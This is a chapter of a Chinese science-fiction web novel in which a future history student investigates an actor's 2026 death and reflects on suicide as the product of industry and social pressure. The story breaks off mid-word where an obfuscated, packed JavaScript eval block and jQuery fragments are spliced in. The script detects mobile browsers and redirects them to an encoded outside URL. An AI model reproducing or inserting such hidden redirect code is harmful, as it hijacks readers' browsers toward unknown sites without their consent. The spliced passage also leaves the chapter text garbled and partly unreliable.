16.第十六章
作品:《就说他是真演员[星际]》 想要知道答案,也不是一时之间就能获得的。
陈绍宁从口袋里掏出写着曲柠名字的MRT,再三思考也想不到这个东西出现的原因是什么。
她到是觉得使用这个MRT也没什么关系。
规则正义,和结果正义完全是两种事情。
就像孟余出演“柳疏”一角的故事里,柳疏作为就是结果正义,几乎是乱世的世界里,百姓无粮可食,甚至到了食人的境地,柳疏提剑去朝堂上直接上言求开官仓放粮。
规则而言,并不正义。
结果而言,却是正义。(1
如此,陈绍宁在观察型历史课进行的时间内使用MRT必然是规则不合,但或许这就是一个能找到原因的机会。
关于为什么孟余的新闻突然从长红到2036年变成于2026年离世。
这其中离世原因如何?
如果这是真的,他离开之前发生的事情中牵扯的人是不是都是阻止他活着的原因。
她的调查选题是“Suicide 是一场多人谋杀。”,但选择观察对象并不只限于孟余,还包括与他相关的其他人。
选题是一个名词,当然也可以从哲学,人类学,各种方向去思考。
“人类总是要把事情弄得很复杂,真的是非常的不理解。但是现在看来,规则合理或者不合理,也都只是各自站的立场不同给的评价而已,似乎很重要,似乎又没有任何意义。”
陈绍宁把终端关闭,她现在没有什么特别的想法,只打算等找到合适的时机再使用MRT,但现在需要做什么呢?
“ 孟余的新闻变的完全是两极对立,这也太难界定了,但目前也看不到什么特别的事情,他也没有做什么特别的事情啊。吃饭,睡觉,参加活动,唱歌,研究给粉丝做逆应援。”
陈绍宁整理着最近看到他做的事情,怎么看都觉得没有什么有问题的地方。
终端可以连接这个时代的网络,但搜索以后也没有发现什么特别的事情。
“ 难道是突然的事故?还是说现在一切还没成型?还做不了决定?”
没有答案,陈绍宁站在原地,很久没有动。
她有点犹豫要不要现在使用。
从曲柠的个人信息里调查一番?
陈绍宁手里拿着磁带,这东西握在手里。外壳比她想象中要轻,却异常真实。
但最后她也只是把磁带又装进了口袋里,让人看不懂她的决定,而后陈绍宁站起身,继续走在夜里的街道上。
城市依旧亮着,夜风吹过居民楼之间的空隙,带着一点潮湿的凉意。
便利店的灯没有熄灭,自动门在夜风中偶尔开启。
写字楼高处的几扇窗还亮着,像是尚未结束的白天,被强行留在夜里。
这种场景总是出现,偶尔是加班,偶尔是忘记关灯,很长的时间里都是这样反复。陈绍宁没有查太多内容,但很明显她发现了很多人都发现了这个状态的不妥,
她忽然想起自己看到的2036年的高赞话题上Suicide是一场多人谋杀。原因大家都知道,但是没有人会承认,都是糊里糊涂地就把日子走过去了。
陈绍宁看到过很多人对这个话题的理解,从学术上分析原因的人也不少,大多数人认为这是比较偏向结构,指向制度,指向社会环境的合力。
但真的当人身处其中的时候,就是在边上旁观都能感受到非常明显的实感,很多东西就失去了抽象思维。
每一个陈绍宁过去认为是凶手的,都牵扯着更多的东西,很多人都意识到这个,便不再试图寻找一个真正的凶手。这本来就不是一场由单一意志完成的行为。
没有谁举起刀,没有谁按下扳机。
可每一层推力,都是存在的。
“所以,孟余到底遇到了什么事情?让他突然在2026年就离开了。这不意味着未来十年原本属于他的作品和大爆角色都变成了别人的吗?”
她想起孟余杀青后的空窗期,还有那时候副导演突然联系他,话里话外透露着他在行业里被轻描淡写地说暂时不用他。
应该会难受吧,陈绍宁想是谁听到这样的话都会觉得难受吧,但他也只是把所有情绪收回自己体内。
这些事情看起来没有一个瞬间是致命的。
可所有瞬间叠加起来,就足够把一个人推到边缘。
制度告诉说这是市场规律。
舆论告诉说已经很幸运了。
经济告诉说不稳定是常态。
期待告诉说不该抱怨。
谁都不需要为结果负责。
陈绍宁慢慢走着,忽然意识到这些事情的残酷之处,就在于没有一个人需要承认自己动了手。
每一个参与其中的力量,都可以说我只是做了我该做的事。
而被推到悬崖边的人,却被要求为自己的坠落负责。
她停下脚步。
街角的咖啡店还亮着灯,店里坐着几个人,低头对着电脑或手机。
屏幕映在他们脸上,让他们看起来像是悬浮在夜色里的影子。
她忽然感到一种极其清晰的悲伤,那种慢慢沉下来的、无法回避的理解。
陈绍宁大概懂得这些人的痛苦不在能说明的理论里,只在身体里。
她的视线被一块旧海报吸引。
那是贴在公告栏角落的一张纸,边缘已经卷起。画面有些模糊,却还能辨认出是一张人物宣传照。
孟余。
他看起来还更年轻一些,眼神明亮却并不张扬。
海报上写着的信息看不太清,陈绍宁的注意力都被边上零散地贴着几张便签所吸引。
“他演得真的很好。”
“现场看比屏幕里好看。”
“希望他以后能多拍点戏。”
字迹不一,看起来是不同的人写的。
陈绍宁愣住了。
她站在那里,看着那几行字,忽然产生了一种极其强烈的违和感。
原来有这么多人喜欢他。
这种贴便利贴的行为总是无法被加入到计算的,但这里包含的情绪是基于原本心里就有一种安静的真实的,没有被放大过的喜欢。
她继续回想能查到的信息里,很多喜欢孟余的人都会分享自己总是持续打开又关上关于孟余的页面,还有各种社交账号上还会在收藏夹里保存那些零散的视频片段。
所有跟他有关的信息都不是新的,甚至上过热门的内容也没有多少,但只要有关注的话总是会被多次打开。
陈绍宁忽然意识到一件事,大家是真的很喜欢他。
喜欢他的表演,喜欢他的气质,喜欢他在镜头前那种不急不躁的存在感。
可他就是不火,没有爆款角色,没有持续的曝光,也没有被算法选中,反正这就是一种属于他的长期存在的状态。
截至目前她能在街道上看到很多巨型广告,但是她感到困惑的是孟余也有一些代言和广告,但却没有上过大屏。
不对,应该是说突如其来信息的变化可能导致他有关的新闻在可搜索范围内缺少了很多。
就好像孟余的人生,像是在这条链条上被悄无声息地切断了。
喜欢没有消失,这种情绪全都是在个人的心里。
“ 你可以让一下吗?我想拍一下这个照片。”
陈绍宁本来在看着孟余的任务宣传照感到一些想法和情绪,还没有完全理清楚自己的想法时,就有人喊她让让。
干嘛?让让?
看到她了?
陈绍宁一阵好奇,随后转身看去,一个女生拿着手机脸上笑嘻嘻的,单手指着陈绍宁身后的海报。
但她说的不是陈绍宁,而是另外一位站在海报边的短发女生,陈绍宁看着对方走开。
“我要拍他,所以可以让一下吗?”
陈绍宁随着短发女生往边上走去,然后看着女生拍了几张之后转身离开了。
所以他是被很多人喜欢的吧,陈绍宁这样想着。
不然怎么在他海报身边就遇见了粉丝。但很长时间里,他被很多人喜欢,却始终无法被推到光里。
这意味着什么?
陈绍宁去看ID是柠檬树上柠檬果的女生冉菲菲的时候,就听到她们公司有其他员工开会讨论自己公司签约的艺人。
说什么当一个艺人自己足够好没有意思,要自己足够有用才有意义,这种合适才是最重要的。
不然就不够适合被资本押注,不够适合被流量放大,不够适合被当成一个安全的选择。
如果是这样总是不够的状态,就没有必要在去进行任何形式的推进了。
这种状态在历史数据库里,几乎是不可见的。
这种情绪和多人本身的攻击就是错误的。
但因为数据库只记录结果,只有两种结果而已
红,或者不红。
成功,或者失败。
它不会记录那些被反复肯定却从未被兑现的可能性,就像很多人只在意规则正义,不在乎结果如何,也不在乎藐视和忽视结果带来的负面。
一堆人挤着一堆人这样去做,不知道哪个倒霉鬼就踩到大众的底线,被一刀割掉后还要职责大家只为什么只反对他。
真是难办,人很长的时间都不会从历史里学到东西。
陈绍宁站在夜色里,忽然明白了自己真正的困惑来源。
比起真的明白孟余为什么会痛苦,陈绍宁觉得去发现为什么这样的人会被留在系统的边缘或许更为重要。
如果连这种程度的善良努力,克制与才华,都无法被认可,那这个系统,究竟是在筛选什么?
夜风再次吹过。
城市依旧失眠。
可陈绍宁已经无法再把‘Suicide 是一场多人谋杀’当成一句冷静的历史总结。
她终于第一次在这个时代里真正理解了这句话的含义。
然后是更沉重的问题,如果真相是这样那她接下来,还能只当一个旁观者吗?
“ 我就算知道了一切,我也什么都改变不了。历史不都是这样吗?过去蓝星旧时代纪元二十一世纪就一直在考古,结果不都是要考虑再三才能公布吗?真相?真想知道有的时候付出的代价真的不小。”
陈绍宁在终端上记录这几天所见的时候,突然忍不住挑眉笑起来,并觉得目前就算自己知道这些也毫无意义。
旧时
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17204699|196424||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
代的人会不明白吗?
都明白,但是因为都藏得住,所以大家就继续糊里糊涂地活着。
有的时候明白清醒了,但只有几个人,持续时间也不会很久。
想到这,陈绍宁觉得果然还是感谢观察型历史课的出现,只有所有的一切公开透明才能平等的发展。( 2
陈绍宁往别的地方走去,她离海报挂着的地方越来越远,风吹着海报,时间也就越来越远,孤单也越攒越多。
终端上一直显示着新的消息提示,林序结束了自己的观察型历史课程,这会疯狂给陈绍宁发信息介绍她去的时代。
林序:【你无法想象我去的地方,比纪元二十一世纪更早,那时候还有非人类的生物体,好家伙超级厉害,她们能感受到咱们的存在,但看不到摸不到。】
林序:【好家伙,她们不用飞行器自己就能飞,你说我要是深度型历史课程选择去那个时代,我是不是也能直接飞了。】
林序:【我在思考能有效果吗?好想试一试啊啊啊啊啊】
林序:【但我又想到,她们有个词叫飞升,好家伙那我结束深度型历史课不也是飞升到了新的世界吗?】
林序:【怎么样?绍宁,你感兴趣不,要一起试试吗?】
林序:【反正我决定了,我要去试一试。】
林序:【过几天我就去申请。】
陈绍宁看着林序的信息,莫名其妙觉得这不失为一个好办法,但可以明确知道的是,结束深度型历史课程后,林序也不会有什么变化。
因为深度型历史课程结束之后,会失去一切记忆的,只有终端上匹配的系统记录了一些完整的信息记录而已。
其实也是真假难辨……
陈绍宁:【那你要申请很长时间吗?咱们可以一起申请,这样结束之后还能约着一起去开普勒星系去旅游,我听说那边开发了新的游戏项目,我还挺感兴趣的,你要去吗?】
林序:【你是说那个惊悚体验乐园?但是不是说现在还在建设中吗?在从时间维度里选拔不同的工作人员呢。等正式开业也得差不多四年之后了吧?】
陈绍宁:【我就是说咱们可以从选拔工作人员开始,这样还能在不同的副本里挂职不是?每个月会有额外的收入,毕业之前先兼职一段时间呗。】
林序:【对哦!那我安排一下时间,规划好了告诉你,我新一次的观察型历史课程开始了,我先溜了,回来后给你留言。】
林序不习惯在课程进行的时候发消息,每一次陈绍宁发过去的消息都是等林序回学校之后才回复的。
这也只是个人习惯不同罢了。
剩下的观察型历史课程还有差不多二十四小时,陈绍宁还在想自己是继续跟着孟余,还是去看看其他人。
再不然去看看齐舟周?好像她结束剧集商务植入之前,手里还有一个帮新出的羽绒服品牌找推广代言的项目,陈绍宁记得那份文件上有孟余的名字。
如果孟余跟品牌合作的话,刚好对于关于他的调查就会更为丰富一些。
陈绍宁站在哪,借着亮起来的路灯看着海报,
灯光不算亮,却足够照清每一张贴上去的海报。
她才发现附近是个剧场,还有个新的海报也是孟余的。
除此之外这里就还贴着别人的海报,还有墙面被层层叠叠的宣传单覆盖着,有音乐节的,有脱口秀专场的,有话剧试演,也有某个新锐导演的影展招募。
颜色浓烈,排版各异,像一块被不断更新的时间拼贴板。
孟余的海报贴在中间偏右的位置。
这会有时间仔细去看,是一个参加话剧演出的宣传海报。
不怎么现眼,背景是偏冷的蓝色调,他站在海报中央,侧脸微微转向镜头,眼神平静。
标题字体并不张扬,只是标注了剧名和演出时间。角落里还贴着一枚小小的二维码,方便扫码购票。
海报的边角已经被夜风掀起一点,透明胶带在灯光下反着光。
旁边是一张明星演唱会的巨幅大屏幕宣传,金色灯海铺满画面,粉丝口号醒目到几乎要溢出边框。
再往左,是别的演员拍摄某品牌新品发布会的广告,笑容明亮。
孟余的那张海报在喧闹里显得安静。
陈绍宁站在墙前,呼出的气在冷空气里化成淡淡的白雾。
夜色压下来,街灯拉长她的影子,她忽然意识到,自己已经在这里站了很久。
她伸手轻轻按了按那卷起的边角,把它贴回去,指尖触到纸张时有点凉,像真实存在的温度。
周围偶尔有人经过,匆匆瞥一眼海报,又低头看手机离开。
城市的夜风带着一点干冷,从长廊另一头灌过来,吹得海报边缘轻轻颤动。
她低头看了看终端,导航界面已经亮起。
齐舟周的定位点在屏幕上闪着微弱的光,像一个还未被完全理解的线索。
她最后看了一眼那张海报。
她突然有种奇怪的感觉如果不顺着线索往下走,这些纸张迟早会被新的海报覆盖,连曾经存在过的痕迹都找不到。
夜风更冷了一点。
陈绍宁转身沿着终端指引的方向走去。

